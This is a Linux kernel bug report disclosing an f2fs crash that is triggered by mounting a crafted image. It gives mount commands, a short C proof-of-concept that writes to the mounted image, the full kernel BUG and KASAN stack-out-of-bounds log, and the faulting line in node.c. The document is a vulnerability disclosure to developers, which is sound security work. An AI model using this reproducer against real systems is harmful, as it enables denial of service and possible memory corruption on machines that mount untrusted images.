Bug 200223

Created attachment 276761 [details]
The (compressed) crafted image which causes crash

- Overview
BUG() triggered in f2fs_truncate_inode_blocks() when un-mounting a mounted f2fs image after writing to it

- Reproduce
# mkdir mnt
# mount -t f2fs 120.img mnt
# gcc -o poc poc.c
# ./poc ./mnt
# umount mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);

  // open / write / read
  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) { 
    write(fd, (char *)buf, 517); 
    write(fd, (char *)buf, sizeof(buf)); 
    close(fd); 
  }  
  
}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel meesage
[  552.479723] F2FS-fs (loop0): Mounted with checkpoint version = 2
[  556.451891] ------------[ cut here ]------------
[  556.451899] kernel BUG at fs/f2fs/node.c:987!
[  556.452920] invalid opcode: 0000 [#1] SMP KASAN PTI
[  556.453936] CPU: 1 PID: 1310 Comm: umount Not tainted 4.18.0-rc1+ #4
[  556.455213] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  556.457140] RIP: 0010:f2fs_truncate_inode_blocks+0x4a7/0x6f0
[  556.458280] Code: e8 ae ea ff ff 41 89 c7 c1 e8 1f 84 c0 74 0a 41 83 ff fe 0f 85 35 ff ff ff 81 85 b0 fe ff ff fb 03 00 00 e9 f7 fd ff ff 0f 0b <0f> 0b e8 62 b7 9a 00 48 8b bd a0 fe ff ff e8 56 54 ae ff 48 8b b5
[  556.462015] RSP: 0018:ffff8801f292f808 EFLAGS: 00010286
[  556.463068] RAX: ffffed003e73242d RBX: ffff8801f292f958 RCX: ffffffffb88b81bc
[  556.464479] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff8801f3992164
[  556.465901] RBP: ffff8801f292f980 R08: ffffed003e73242d R09: ffffed003e73242d
[  556.467311] R10: 0000000000000001 R11: ffffed003e73242c R12: 00000000fffffc64
[  556.468706] R13: ffff8801f3992000 R14: 0000000000000058 R15: 00000000ffff8801
[  556.470117] FS:  00007f8029297840(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000
[  556.471702] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  556.472838] CR2: 000055f5f57305d8 CR3: 00000001f18b0000 CR4: 00000000000006e0
[  556.474265] Call Trace:
[  556.474782]  ? f2fs_alloc_nid_failed+0xf0/0xf0
[  556.475686]  ? truncate_nodes+0x980/0x980
[  556.476516]  ? pagecache_get_page+0x21f/0x2f0
[  556.477412]  ? __asan_loadN+0xf/0x20
[  556.478153]  ? __get_node_page+0x331/0x5b0
[  556.478992]  ? reweight_entity+0x1e6/0x3b0
[  556.479826]  f2fs_truncate_blocks+0x55e/0x740
[  556.480709]  ? f2fs_truncate_data_blocks+0x20/0x20
[  556.481689]  ? __radix_tree_lookup+0x34/0x160
[  556.482630]  ? radix_tree_lookup+0xd/0x10
[  556.483445]  f2fs_truncate+0xd4/0x1a0
[  556.484206]  f2fs_evict_inode+0x5ce/0x630
[  556.485032]  evict+0x16f/0x290
[  556.485664]  iput+0x280/0x300
[  556.486300]  dentry_unlink_inode+0x165/0x1e0
[  556.487169]  __dentry_kill+0x16a/0x260
[  556.487936]  dentry_kill+0x70/0x250
[  556.488651]  shrink_dentry_list+0x125/0x260
[  556.489504]  shrink_dcache_parent+0xc1/0x110
[  556.490379]  ? shrink_dcache_sb+0x200/0x200
[  556.491231]  ? bit_wait_timeout+0xc0/0xc0
[  556.492047]  do_one_tree+0x12/0x40
[  556.492743]  shrink_dcache_for_umount+0x3f/0xa0
[  556.493656]  generic_shutdown_super+0x43/0x1c0
[  556.494561]  kill_block_super+0x52/0x80
[  556.495341]  kill_f2fs_super+0x62/0x70
[  556.496105]  deactivate_locked_super+0x6f/0xa0
[  556.497004]  deactivate_super+0x5e/0x80
[  556.497785]  cleanup_mnt+0x61/0xa0
[  556.498492]  __cleanup_mnt+0x12/0x20
[  556.499218]  task_work_run+0xc8/0xf0
[  556.499949]  exit_to_usermode_loop+0x125/0x130
[  556.500846]  do_syscall_64+0x138/0x170
[  556.501609]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  556.502659] RIP: 0033:0x7f8028b77487
[  556.503384] Code: 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 31 f6 e9 09 00 00 00 66 0f 1f 84 00 00 00 00 00 b8 a6 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e1 c9 2b 00 f7 d8 64 89 01 48
[  556.507137] RSP: 002b:00007fff9f2e3598 EFLAGS: 00000246 ORIG_RAX: 00000000000000a6
[  556.508637] RAX: 0000000000000000 RBX: 0000000000ebd030 RCX: 00007f8028b77487
[  556.510069] RDX: 0000000000000001 RSI: 0000000000000000 RDI: 0000000000ec41e0
[  556.511481] RBP: 0000000000ec41e0 R08: 0000000000000000 R09: 0000000000000014
[  556.512892] R10: 00000000000006b2 R11: 0000000000000246 R12: 00007f802908083c
[  556.514320] R13: 0000000000000000 R14: 0000000000ebd210 R15: 00007fff9f2e3820
[  556.515745] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd mac_hid i2c_piix4 soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear 8139too crct10dif_pclmul crc32_pclmul qxl drm_kms_helper syscopyarea aesni_intel sysfillrect sysimgblt fb_sys_fops ttm drm aes_x86_64 crypto_simd cryptd 8139cp glue_helper mii pata_acpi floppy
[  556.529276] ---[ end trace 4ce02f25ff7d3df5 ]---
[  556.530340] RIP: 0010:f2fs_truncate_inode_blocks+0x4a7/0x6f0
[  556.531513] Code: e8 ae ea ff ff 41 89 c7 c1 e8 1f 84 c0 74 0a 41 83 ff fe 0f 85 35 ff ff ff 81 85 b0 fe ff ff fb 03 00 00 e9 f7 fd ff ff 0f 0b <0f> 0b e8 62 b7 9a 00 48 8b bd a0 fe ff ff e8 56 54 ae ff 48 8b b5
[  556.535330] RSP: 0018:ffff8801f292f808 EFLAGS: 00010286
[  556.536395] RAX: ffffed003e73242d RBX: ffff8801f292f958 RCX: ffffffffb88b81bc
[  556.537824] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff8801f3992164
[  556.539290] RBP: ffff8801f292f980 R08: ffffed003e73242d R09: ffffed003e73242d
[  556.540709] R10: 0000000000000001 R11: ffffed003e73242c R12: 00000000fffffc64
[  556.542131] R13: ffff8801f3992000 R14: 0000000000000058 R15: 00000000ffff8801
[  556.543579] FS:  00007f8029297840(0000) GS:ffff8801f6f00000(0000) knlGS:0000000000000000
[  556.545180] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  556.546338] CR2: 000055f5f57305d8 CR3: 00000001f18b0000 CR4: 00000000000006e0
[  556.547809] ==================================================================
[  556.549248] BUG: KASAN: stack-out-of-bounds in arch_tlb_gather_mmu+0x52/0x170
[  556.550672] Write of size 8 at addr ffff8801f292fd10 by task umount/1310

[  556.552338] CPU: 1 PID: 1310 Comm: umount Tainted: G      D           4.18.0-rc1+ #4
[  556.553886] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  556.555756] Call Trace:
[  556.556264]  dump_stack+0x7b/0xb5
[  556.556944]  print_address_description+0x70/0x290
[  556.557903]  kasan_report+0x291/0x390
[  556.558649]  ? arch_tlb_gather_mmu+0x52/0x170
[  556.559537]  __asan_store8+0x57/0x90
[  556.560268]  arch_tlb_gather_mmu+0x52/0x170
[  556.561110]  tlb_gather_mmu+0x12/0x40
[  556.561862]  exit_mmap+0x123/0x2a0
[  556.562555]  ? __ia32_sys_munmap+0x50/0x50
[  556.563384]  ? exit_aio+0x98/0x230
[  556.564079]  ? __x32_compat_sys_io_submit+0x260/0x260
[  556.565099]  ? taskstats_exit+0x1f4/0x640
[  556.565925]  ? kasan_check_read+0x11/0x20
[  556.566739]  ? mm_update_next_owner+0x322/0x380
[  556.567652]  mmput+0x8b/0x1d0
[  556.568260]  do_exit+0x43a/0x1390
[  556.568937]  ? mm_update_next_owner+0x380/0x380
[  556.569855]  ? deactivate_super+0x5e/0x80
[  556.570668]  ? cleanup_mnt+0x61/0xa0
[  556.571395]  ? __cleanup_mnt+0x12/0x20
[  556.572156]  ? task_work_run+0xc8/0xf0
[  556.572917]  ? exit_to_usermode_loop+0x125/0x130
[  556.573861]  rewind_stack_do_exit+0x17/0x20
[  556.574707] RIP: 0033:0x7f8028b77487
[  556.575428] Code: Bad RIP value.
[  556.576106] RSP: 002b:00007fff9f2e3598 EFLAGS: 00000246 ORIG_RAX: 00000000000000a6
[  556.577599] RAX: 0000000000000000 RBX: 0000000000ebd030 RCX: 00007f8028b77487
[  556.579020] RDX: 0000000000000001 RSI: 0000000000000000 RDI: 0000000000ec41e0
[  556.580422] RBP: 0000000000ec41e0 R08: 0000000000000000 R09: 0000000000000014
[  556.581833] R10: 00000000000006b2 R11: 0000000000000246 R12: 00007f802908083c
[  556.583252] R13: 0000000000000000 R14: 0000000000ebd210 R15: 00007fff9f2e3820

[  556.584983] The buggy address belongs to the page:
[  556.585961] page:ffffea0007ca4bc0 count:0 mapcount:0 mapping:0000000000000000 index:0x0
[  556.587540] flags: 0x2ffff0000000000()
[  556.588296] raw: 02ffff0000000000 0000000000000000 dead000000000200 0000000000000000
[  556.589822] raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[  556.591359] page dumped because: kasan: bad access detected

[  556.592786] Memory state around the buggy address:
[  556.593753]  ffff8801f292fc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[  556.595191]  ffff8801f292fc80: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
[  556.596613] >ffff8801f292fd00: 00 00 f3 00 00 00 00 f3 f3 00 00 00 00 f4 f4 f4
[  556.598044]                          ^
[  556.598797]  ffff8801f292fd80: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
[  556.600225]  ffff8801f292fe00: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4
[  556.601647] ==================================================================

- Location
https://elixir.bootlin.com/linux/v4.18-rc1/source/fs/f2fs/node.c#L987
		case NODE_DIND_BLOCK:
			err = truncate_nodes(&dn, nofs, offset[1], 3);
			cont = 0;
			break;

		default:
			BUG(); <---
		}

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab, Gatech.